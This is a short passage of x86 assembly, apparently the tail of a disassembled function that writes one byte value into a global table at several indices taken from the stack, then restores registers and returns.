mov edx, dword [ebp - 0x48a0]
mov byte [eax + 0x40b788], bl
mov eax, dword [ebp - 0x1870]
mov byte [ecx + 0x40b788], bl
mov ecx, dword [ebp - 0x2078]
mov byte [edx + 0x40b788], bl
mov edx, dword [ebp - 0x2880]
mov byte [eax + 0x40b788], bl
mov eax, dword [ebp - 0x1068]
mov byte [ecx + 0x40b788], bl
mov ecx, dword [ebp - 0x860]
mov byte [edx + 0x40b788], bl
mov edx, dword [ebp - 0x58]
mov byte [eax + 0x40b788], bl
pop edi
mov byte [ecx + 0x40b788], bl
pop esi
mov byte [edx + 0x40b788], bl
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x10